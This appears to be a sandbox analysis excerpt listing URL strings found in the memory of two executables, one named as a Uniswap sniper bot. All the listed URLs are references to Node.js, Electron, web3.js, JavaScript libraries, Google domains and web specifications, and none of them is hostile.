Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp, uniswap-sniper-bot-with-gui.exe, 00000008.00000000.2609582460.00007FF67EB15000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://github.com/antirez/linenoise
Source: my2gf4tNEk.exe, 00000000.00000003.2402139236.00000000061E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/babel/babel/issues/13109)
Source: my2gf4tNEk.exe, 00000000.00000003.2401716291.00000000057E0000.00000004.00001000.00020000.00000000.sdmp, my2gf4tNEk.exe, 00000000.00000003.2401929446.0000000005CE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/blueimp/JavaScript-MD5
Source: my2gf4tNEk.exe, 00000000.00000003.2401716291.00000000057E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/browserify/node-util
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/chalk/ansi-regex/blob/HEAD/index.js
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/chalk/supports-color
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/chromium/chromium/blob/HEAD/third_party/blink/public/platform/web_crypto_algorith
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/da-x/rxvt-unicode/tree/v9.22-with-24bit-color
Source: my2gf4tNEk.exe, 00000000.00000003.2401716291.00000000057E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/davepacheco/javascriptlint
Source: my2gf4tNEk.exe, 00000000.00000003.2401716291.00000000057E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/davepacheco/jsstyle
Source: my2gf4tNEk.exe, 00000000.00000003.2401716291.00000000057E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/dchest/tweetnacl-js.git
Source: my2gf4tNEk.exe, 00000000.00000003.2401716291.00000000057E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/dchest/tweetnacl-util-js
Source: my2gf4tNEk.exe, 00000000.00000003.2401716291.00000000057E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/defunctzombie/node-url.git
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/electron/electron/issues
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/electron/electron/tree/v$
Source: my2gf4tNEk.exe, 00000000.00000003.2401716291.00000000057E0000.00000004.00001000.00020000.00000000.sdmp, my2gf4tNEk.exe, 00000000.00000003.2401929446.0000000005CE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/emn178/js-sha3
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/estree/estree/blob/a27003adf4fd7bfad44de9cef372a2eacd527b1c/es5.md#regexpliteral
Source: my2gf4tNEk.exe, 00000000.00000003.2402139236.00000000061E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/ethereum/EIPs/blob/master/EIPS/eip-1193.md#provider-errors
Source: my2gf4tNEk.exe, 00000000.00000003.2402139236.00000000061E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/ethereum/EIPs/blob/master/EIPS/eip-1474.md
Source: my2gf4tNEk.exe, 00000000.00000003.2402139236.00000000061E0000.00000004.00001000.00020000.00000000.sdmp, my2gf4tNEk.exe, 00000000.00000003.2401929446.0000000005CE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/ethereum/web3.js/tree/1.x/packages/web3-eth-iban
Source: my2gf4tNEk.exe, 00000000.00000003.2402139236.00000000061E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/ethereum/web3.js/tree/1.x/packages/web3-eth-personal
Source: my2gf4tNEk.exe, 00000000.00000003.2402139236.00000000061E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/ethereum/web3.js/tree/1.x/packages/web3-net
Source: my2gf4tNEk.exe, 00000000.00000003.2402139236.00000000061E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/ethereum/web3.js/tree/1.x/packages/web3-providers-http
Source: my2gf4tNEk.exe, 00000000.00000003.2402139236.00000000061E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/ethereum/web3.js/tree/1.x/packages/web3-providers-ipc
Source: my2gf4tNEk.exe, 00000000.00000003.2402139236.00000000061E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/ethereum/web3.js/tree/1.x/packages/web3-providers-ws
Source: my2gf4tNEk.exe, 00000000.00000003.2402139236.00000000061E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/ethereum/web3.js/tree/1.x/packages/web3-shh
Source: my2gf4tNEk.exe, 00000000.00000003.2402139236.00000000061E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/ethereum/web3.js/tree/1.x/packages/web3-utils
Source: my2gf4tNEk.exe, 00000000.00000003.2402139236.00000000061E0000.00000004.00001000.00020000.00000000.sdmp, my2gf4tNEk.exe, 00000000.00000003.2401929446.0000000005CE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/ethereum/wiki/wiki/ICAP:-Inter-exchange-Client-Address-Protocol
Source: my2gf4tNEk.exe, 00000000.00000003.2401716291.00000000057E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/facebook/regenerator/blob/main/LICENSE
Source: my2gf4tNEk.exe, 00000000.00000003.2401716291.00000000057E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/floodyberry/poly1305-donna
Source: my2gf4tNEk.exe, 00000000.00000003.2401716291.00000000057E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/floodyberry/poly1305-donna)
Source: my2gf4tNEk.exe, 00000000.00000003.2401716291.00000000057E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/garycourt/uri-js
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/google/caja/blob/HEAD/src/com/google/caja/ses/repairES5.js
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/google/caja/blob/HEAD/src/com/google/caja/ses/startSES.js
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/google/closure-compiler/wiki/Source-Maps
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/isaacs/color-support.
Source: my2gf4tNEk.exe, 00000000.00000003.2401716291.00000000057E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/joyent/eng/blob/master/docs/index.md)
Source: my2gf4tNEk.exe, 00000000.00000003.2401716291.00000000057E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/joyent/joyent-gerrit/blob/master/docs/user/README.md).
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp, uniswap-sniper-bot-with-gui.exe, 00000008.00000000.2609582460.00007FF67EB15000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://github.com/joyent/node/issues/3295.
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/libuv/libuv/pull/1501.
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mafintosh/end-of-stream
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mafintosh/pump
Source: my2gf4tNEk.exe, 00000000.00000003.2401716291.00000000057E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mathiasbynens/punycode.js.git
Source: my2gf4tNEk.exe, 00000000.00000003.2401716291.00000000057E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mathiasbynens/utf8.js.git
Source: my2gf4tNEk.exe, 00000000.00000003.2401716291.00000000057E0000.00000004.00001000.00020000.00000000.sdmp, my2gf4tNEk.exe, 00000000.00000003.2402139236.00000000061E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mattdesl
Source: my2gf4tNEk.exe, 00000000.00000003.2401716291.00000000057E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mattdesl/url-set-query
Source: my2gf4tNEk.exe, 00000000.00000003.2401716291.00000000057E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mikeal/tunnel-agent
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mysticatea/abort-controller
Source: my2gf4tNEk.exe, 00000000.00000003.2402139236.00000000061E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/node-fetch/node-fetch#custom-agent
Source: my2gf4tNEk.exe, 00000000.00000003.2401716291.00000000057E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/node-modules/urlencode
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp, uniswap-sniper-bot-with-gui.exe, 00000008.00000000.2609582460.00007FF67EB15000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://github.com/nodejs/node-v0.x-archive/issues/2876.
Source: my2gf4tNEk.exe, 00000000.00000003.2401716291.00000000057E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/nodejs/node/commit/112cc7c27551254aa2b17098fb774867f05ed0d9
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp, uniswap-sniper-bot-with-gui.exe, 00000008.00000000.2609582460.00007FF67EB15000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://github.com/nodejs/node/commit/ec2822adaad76b126b5cccdeaa1addf2376c9aa6
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp, uniswap-sniper-bot-with-gui.exe, 00000008.00000000.2609582460.00007FF67EB15000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://github.com/nodejs/node/commit/f7620fb96d339f704932f9bb9a0dceb9952df2d4
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/nodejs/node/issues
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/nodejs/node/issues/10673
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp, uniswap-sniper-bot-with-gui.exe, 00000008.00000000.2609582460.00007FF67EB15000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://github.com/nodejs/node/issues/13435
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/nodejs/node/issues/19009
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/nodejs/node/issues/2006
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp, uniswap-sniper-bot-with-gui.exe, 00000008.00000000.2609582460.00007FF67EB15000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://github.com/nodejs/node/issues/2119
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/nodejs/node/issues/31074
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/nodejs/node/issues/3392
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/nodejs/node/issues/34532
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/nodejs/node/issues/35475
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/nodejs/node/issues/35862
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/nodejs/node/issues/35981
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/nodejs/node/issues/39707
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/nodejs/node/issues/39758
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp, uniswap-sniper-bot-with-gui.exe, 00000008.00000000.2609582460.00007FF67EB15000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://github.com/nodejs/node/pull/12342
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/nodejs/node/pull/12607
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/nodejs/node/pull/13870#discussion_r124515293
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/nodejs/node/pull/1771#issuecomment-119351671
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp, uniswap-sniper-bot-with-gui.exe, 00000008.00000000.2609582460.00007FF67EB15000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://github.com/nodejs/node/pull/21313
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/nodejs/node/pull/26334.
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/nodejs/node/pull/30380#issuecomment-552948364
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp, uniswap-sniper-bot-with-gui.exe, 00000008.00000000.2609582460.00007FF67EB15000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://github.com/nodejs/node/pull/30958
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/nodejs/node/pull/33515.
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/nodejs/node/pull/33661
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/nodejs/node/pull/3394
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/nodejs/node/pull/34010
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/nodejs/node/pull/34103#issuecomment-652002364
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/nodejs/node/pull/34375
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/nodejs/node/pull/34385
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/nodejs/node/pull/35949#issuecomment-722496598
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/nodejs/node/pull/36061#discussion_r533718029
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/nodejs/node/pull/38248
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/nodejs/node/pull/38433#issuecomment-828426932
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/nodejs/node/pull/38614)
Source: my2gf4tNEk.exe, 00000000.00000003.2402139236.00000000061E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/paulmillr/noble-hashes/issues/25#issuecomment-1750106284
Source: my2gf4tNEk.exe, 00000000.00000003.2401716291.00000000057E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/sindresorhus/p-is-promise/blob/cda35a513bda03f977ad5cde3a079d237e82d7ef/index.js
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/standard-things/esm/issues/821.
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/tc39/ecma262/blob/HEAD/LICENSE.md
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/tc39/ecma262/issues/1209
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/tc39/proposal-ses/blob/e5271cc42a257a05dcae2fd94713ed2f46c08620/shim/src/freeze.j
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/tc39/proposal-weakrefs
Source: my2gf4tNEk.exe, 00000000.00000003.2402139236.00000000061E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/theturtle32/WebSocket-Node/blob/master/docs/WebSocketClient.md#connectrequesturl-
Source: my2gf4tNEk.exe, 00000000.00000003.2401716291.00000000057E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/unshiftio/ultron
Source: my2gf4tNEk.exe, 00000000.00000003.2401716291.00000000057E0000.00000004.00001000.00020000.00000000.sdmp, my2gf4tNEk.exe, 00000000.00000003.2401929446.0000000005CE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/uuidjs/uuid
Source: my2gf4tNEk.exe, 00000000.00000003.2401716291.00000000057E0000.00000004.00001000.00020000.00000000.sdmp, my2gf4tNEk.exe, 00000000.00000003.2401929446.0000000005CE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/uuidjs/uuid.git
Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006E79000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/gamepad/pull/112
Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006E79000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/gamepad/pull/112Service
Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006E79000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/gamepad/pull/120
Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006E79000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/gamepad/pull/120Access
Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006E79000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/webappsec-permissions-policy/blob/master/features.md#sensor-features
Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006E79000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/webappsec-permissions-policy/blob/master/features.md#sensor-featuresDeviceOri
Source: my2gf4tNEk.exe, 00000000.00000003.2402139236.00000000061E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/web3/web3.js/issues/4454#issuecomment-1485953455)
Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006E79000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://goo.gl/4NeimX
Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006E79000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://goo.gl/7K7WLu
Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006E79000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://goo.gl/7K7WLuThe
Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006E79000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://goo.gl/7K7WLuWebAudio.AutoplayWebAudio.Autoplay.CrossOriginWebAudio.Autoplay.UnlockType../..
Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006E79000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://goo.gl/EuHzyv
Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006E79000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://goo.gl/HxfxSQ
Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006E79000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://goo.gl/J6ASzs
Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006E15000.00000004.00001000.00020000.00000000.sdmp, uniswap-sniper-bot-with-gui.exe, 00000008.00000000.2609582460.00007FF67E739000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://goo.gl/rStTGz
Source: my2gf4tNEk.exe, 00000000.00000003.2401716291.00000000057E0000.00000004.00001000.00020000.00000000.sdmp, my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp, uniswap-sniper-bot-with-gui.exe, 00000008.00000000.2609582460.00007FF67EB15000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://goo.gl/t5IS6M).
Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006E15000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://goo.gl/xX8pDD
Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006E15000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://goo.gl/xX8pDDplay()
Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006E15000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://goo.gl/ximf56
Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006E15000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://goo.gl/ximf56Iframe
Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006DE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://google-analytics.com/
Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006E79000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://google.com/pay
Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006E79000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://google.com/payhttps://android.com/paysecure-payment-confirmationAppStoreBillingPlaceHolderZZ
Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006DE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://googlevideo.com/
Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006DE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://gvt1.com/
Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006DE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://gvt2.com/
Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006DE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://gvt6.com/
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://heycam.github.io/webidl/#Replaceable
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://heycam.github.io/webidl/#define-the-operations
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://heycam.github.io/webidl/#dfn-class-string
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://heycam.github.io/webidl/#dfn-default-iterator-object
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://heycam.github.io/webidl/#dfn-iterator-prototype-object
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://heycam.github.io/webidl/#es-interfaces
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://heycam.github.io/webidl/#es-iterable
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://heycam.github.io/webidl/#es-iterable-entries
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://heycam.github.io/webidl/#es-iterators
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://heycam.github.io/webidl/#es-namespaces
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://heycam.github.io/webidl/#es-operations
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://heycam.github.io/webidl/#es-stringifier
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://html.spec.whatwg.org/multipage/browsers.html#ascii-serialisation-of-an-origin
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://html.spec.whatwg.org/multipage/browsers.html#concept-origin-opaque
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://html.spec.whatwg.org/multipage/timers-and-user-prompts.html#dom-setinterval
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://html.spec.whatwg.org/multipage/webappapis.html#windoworworkerglobalscope
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://infra.spec.whatwg.org/#ascii-whitespace
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://infra.spec.whatwg.org/#forgiving-base64
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://infra.spec.whatwg.org/#forgiving-base64-decode
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://invisible-island.net/ncurses/terminfo.ti.html#toc-_Specials
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp, uniswap-sniper-bot-with-gui.exe, 00000008.00000000.2609582460.00007FF67EB15000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://invisible-island.net/xterm/ctlseqs/ctlseqs.html
